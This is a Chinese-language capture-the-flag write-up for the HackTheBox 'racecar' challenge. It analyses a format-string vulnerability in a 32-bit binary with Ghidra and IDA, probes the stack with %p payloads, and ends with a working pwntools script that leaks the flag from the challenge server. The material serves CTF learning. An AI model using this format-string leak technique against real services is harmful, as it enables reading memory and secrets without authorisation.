zl程序教程

您现在的位置是:首页 >  其他

当前栏目

HackTheBox You know racecar 格式化字符串漏洞pwn题目

漏洞 字符串 格式化 题目 you Know pwn
2023-09-27 14:29:28 时间

题目网址:

https://app.hackthebox.com/challenges/racecar

在这里插入图片描述

解压密码为hackthebox

文件信息收集

file racecar

在这里插入图片描述

这是一个32位的程序,动态链接的

checksec vuln

在这里插入图片描述

防护都开着的,从上到下依次是

32位程序
全部RELRO
开启栈保护
启用数据执行防护
程序的内存空间随机化

静态分析

用ghidra打开程序,按下键盘的i键,选择程序

在这里插入图片描述

双击启动,然后都是默认即可

在这里插入图片描述

在这里插入图片描述

回到终端,先运行程序,搞清楚程序的界面

在这里插入图片描述

nc 46.101.77.44 30441

在这里插入图片描述

比较常见的pwn题目,我第一个想到的漏洞是格式化字符串漏洞,回到ghidra,继续分析,这程序的函数还挺多,在car_menu内找到了关键的地方

在这里插入图片描述

  if (((iVar1 == 1) && (iVar2 < iVar3)) || ((iVar1 == 2 && (iVar3 < iVar2)))) {
    printf("%s\n\n[+] You won the race!! You get 100 coins!\n",&DAT_00011540);
    coins = coins + 100;
    puVar5 = &DAT_00011538;
    printf("[+] Current coins: [%d]%s\n",coins,&DAT_00011538);
    printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s",
           &DAT_000119de);
    __format = (char *)malloc(0x171);
    __stream = fopen("flag.txt","r");
    if (__stream == (FILE *)0x0) {
      printf("%s[-] Could not open flag.txt. Please contact the creator.\n",&DAT_00011548,puVar5);
                    /* WARNING: Subroutine does not return */
      exit(0x69);
    }
    fgets(local_3c,0x2c,__stream);
    read(0,__format,0x170);
    puts(
        "\n\x1b[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world  to know this: \x1b[0m"
        );
    printf(__format);
  }

程序在这读取了flag文件里的内容,还读取了我们输入的内容并输出,我们可以尝试泄露栈中的数据,首先我们需要到Do you have anything to say to the press after your big victory?\n>字符串的位置

在这里插入图片描述

然后尝试泄露堆栈里的内容

AAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p % p %p %p %p

在这里插入图片描述

泄露了很多东西,但是我们输入的AAAAAAAA字符串的数据没有泄露,然后我重新看了一下汇编代码

在这里插入图片描述

在这里插入图片描述

因为我们的输入存储在char *__format中,现在我们需要遍历堆栈,查找__format的偏移量

%数字$s

在这里插入图片描述

在我们输入到10的时候,程序返回*__format指针的内容,也就是我们输入的内容,然后我用ida继续分析程序的汇编代码,因为ghidra在深度分析时,多多少少有点问题

在这里插入图片描述

然后我把这些函数改一个名称

在这里插入图片描述

可以看到,flag的地方文件描述符(fd)之后

pwn

现在写一个脚本来泄露flag

from pwn import *
 
offset_start_flag = 12
len_of_flag = 44
offset_end_flag = offset_start_flag + 11
 
 
formatstring = ""
 
for i in range(offset_start_flag, offset_end_flag):
    formatstring += "%"+str(i)+"$p "
 
 
r = remote("46.101.77.44", 30441)
 
r.sendlineafter("Name: ", "a")
r.sendlineafter("Nickname: ", "a")
r.sendlineafter("> ", "2")
r.sendlineafter("> ", "2")
r.sendlineafter("> ", "1")
 
r.sendlineafter("> ", formatstring)
r.recv()
response = r.recv()
 
# Format output
preflag = (response.decode("utf-8").split("m\n"))[1]
preflag = preflag.split()
 
flag = ""
for hexdecimal in preflag:
    flag += p32(int(hexdecimal, base=16)).decode("utf-8")
 
print(flag)

在这里插入图片描述
成功获得flag